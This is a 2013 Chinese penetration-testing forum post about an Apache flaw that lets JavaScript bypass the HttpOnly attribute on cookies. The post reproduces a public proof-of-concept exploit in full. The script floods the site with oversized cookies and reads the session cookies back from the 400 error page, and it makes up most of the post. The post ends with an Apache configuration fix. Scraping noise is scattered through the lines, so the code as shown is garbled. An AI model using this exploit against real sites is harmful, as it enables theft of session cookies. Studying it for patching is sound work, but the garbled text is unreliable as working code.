中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

---

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

4 o# d9 H. m0 N" j2 Y用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:

! Q' J0 l  T/ H) k$ R
6 G# J0 N3 n5 Y" G7 D: z// http://www.exploit-db.com/exploits/18442/
% }; u) x) B5 R+ s2 e7 c8 M( l/ R, A* B6 ofunction setCookies (good) {
// Construct string for cookie value
- B  m8 R# L7 v  Svar str = "";
$ [$ `1 ~3 U( `! Y  vfor (var i=0; i< 819; i++) {
1 V6 E) R* f) @5 ?6 T0 a  ystr += "x";
}
// Set cookies
+ j5 r4 X1 t! M1 Q" W8 }! J! Pfor (i = 0; i < 10; i++) {
! j% G. I/ ~3 N+ P! T// Expire evil cookie
if (good) {
+ D; L0 r8 }& o6 ]% o; b* Jvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
! s  ?0 l$ |: \% L, _, Pelse {
. \' t+ M2 U9 y/ ^var cookie = "xss"+i+"="+str+";path=/";
}
: O1 K- V, U8 f& a5 }$ `. U4 q0 x6 i9 }document.cookie = cookie;
}
) G# w4 }1 m2 \) T& k7 q1 V! a}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
# G- Z+ k- H8 H0 ?// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
: Q+ B7 f* [6 i9 R8 N* Y5 q// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
$ i. ], b6 P) C* x// Remove Cookie: prefix
1 Q7 n4 a7 h5 l. D8 Z" o  ^5 qcontent = content[1].replace("Cookie: ", "");
; W+ S- b4 L  L- mvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
- N0 t2 e! @: M$ X: J. m' ccookie_dict[s_c[0]] = s_c[1];
# Y! G  @- J; `% B- h. W}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
4 w# V' c4 Z4 {- }1 lvar xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
8 f2 k3 S4 o$ u. `9 \6 O7 Wxhr.open("GET", "/", true);
xhr.send(null);
9 y; }/ v( R& C+ w}
makeRequest();
0 U) u& q5 Q: U/ \7 p  G3 O7 G
2 ]. w  x; Z  p# k6 w你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

' ]7 q" }2 n) lApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
" K: |- L% l( O$ i; z$ L* r3 C& V
( C1 _5 `, U2 v! j7 `In the event of a problem or error, Apachecan be configured to do one of four things,
$ }# P% r. @* k
& F' D7 f; H4 C, ~" ]1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
) d& k7 u1 T6 j2. output acustomized message输出一段信息
# a& ?/ [! V4 J3 n3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
  n7 O7 O3 f; [# c% j+ V& y+ J1 v4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：
6 T4 o! D, L3 I) H- x- b5 }3 C
3 d  Y1 U) l: j* `ErrorDocument400 " security test"
3 ~4 E6 c/ }1 n4 N& h' C% F
; U/ ~/ s- Z1 N4 G) p3 v当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html

# }! x: D0 s5 b* ?* k5 w

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2